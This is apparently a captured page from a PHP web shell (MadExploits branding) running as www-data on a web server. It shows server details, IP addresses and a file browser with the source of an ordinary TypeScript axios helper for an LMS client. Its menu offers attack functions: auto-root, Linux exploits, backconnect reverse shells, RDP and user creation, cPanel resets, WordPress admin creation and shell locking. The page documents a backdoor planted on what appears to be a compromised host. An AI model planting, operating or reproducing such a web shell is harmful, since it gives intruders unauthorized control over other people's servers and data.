Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.2
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
lms-client /
app /
helpers /
[ HOME SHELL ]
Name
Size
Permission
Action
ajax.tsx
4.22
KB
-rwxrwxr-x
helper.tsx
4.07
KB
-rw-rw-r--
storage.tsx
4.11
KB
-rwxrwxr-x
url.tsx
1.57
KB
-rwxrwxr-x
utils.tsx
923
B
-rwxrwxr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ajax.tsx
import axios, { AxiosInstance, AxiosRequestConfig, AxiosPromise, AxiosResponse, AxiosError, } from 'axios'; import _merge from 'lodash-es/merge'; export interface AjaxOptions { baseURL?: string; headers?: object; headerAuthorization?: string | (() => string); onRequest?: (config: AxiosRequestConfig) => AxiosRequestConfig; onRequestError?: (error) => void; onResponse?: (response: any) => any; onResponseError?: (error) => any; } export type AjaxError = AxiosResponse; export class Ajax { public static setGlobalOptions(options: AjaxOptions) { axios.defaults = _merge({}, axios.defaults, Ajax.buildOptions(options)); } private static buildOptions(options: AjaxOptions): AxiosRequestConfig { if (!options) { return null; } const config: AxiosRequestConfig = {}; if (options.baseURL) { config.baseURL = options.baseURL; } if (options.headerAuthorization) { if (!config.headers) { config.headers = {}; } if (!config.headers.common) { config.headers.common = {}; } const authorization = typeof options.headerAuthorization === 'string' ? options.headerAuthorization : options.headerAuthorization(); const keyAuthorization = 'Authorization'; config.headers.common[keyAuthorization] = authorization; } if (options.headers) { if (!config.headers) { config.headers = {}; } if (!config.headers.common) { config.headers.common = {}; } for (const key of Object.keys(options.headers)) { config.headers.common[key] = options.headers[key]; } } return config; } private static instance(options?: AjaxOptions): AxiosInstance { const result: AxiosInstance = options ? axios.create(Ajax.buildOptions(options)) : axios.create(); if (options) { if (options.onRequest || options.onRequestError) { result.interceptors.request.use( options.onRequest || ((config: AxiosRequestConfig) => config), options.onRequestError || ((error: any) => Promise.reject(error)), ); } if (options.onResponse || options.onResponseError) { result.interceptors.response.use( options.onResponse || ((response: any) => response), options.onResponseError || ((error: any) => Promise.reject(error)), ); } } result.interceptors.response.use( (response: AxiosResponse) => response.data, (error: AxiosError) => Promise.reject(error.response), ); return result; } private options: AjaxOptions; public constructor(options?: AjaxOptions) { this.options = options; } public instance = (): AxiosInstance => Ajax.instance(this.options); public get = (url: string): AxiosPromise => { return this.instance().get(url) as AxiosPromise; }; public post = (url: string, data: any): AxiosPromise => { return this.instance().post(url, data); }; public postForm = (url: string, data: any): AxiosPromise => { const formData = new FormData(); // Must be FormData so that the ajax request will be Form post Object.keys(data).forEach(k => { formData.append(k, data[k]); }); return this.instance().post(url, formData); }; public remove = (url: string): AxiosPromise => { return this.instance().delete(url); }; public delete = (url: string, data: any): AxiosPromise => { return this.instance().delete(url, { data: data }); }; public put = (url: string, data: any): AxiosPromise => { return this.instance().put(url, data); }; public patch = (url: string, data: any): AxiosPromise => { return this.instance().patch(url, data); }; } const ajax = new Ajax(); export default ajax;
Close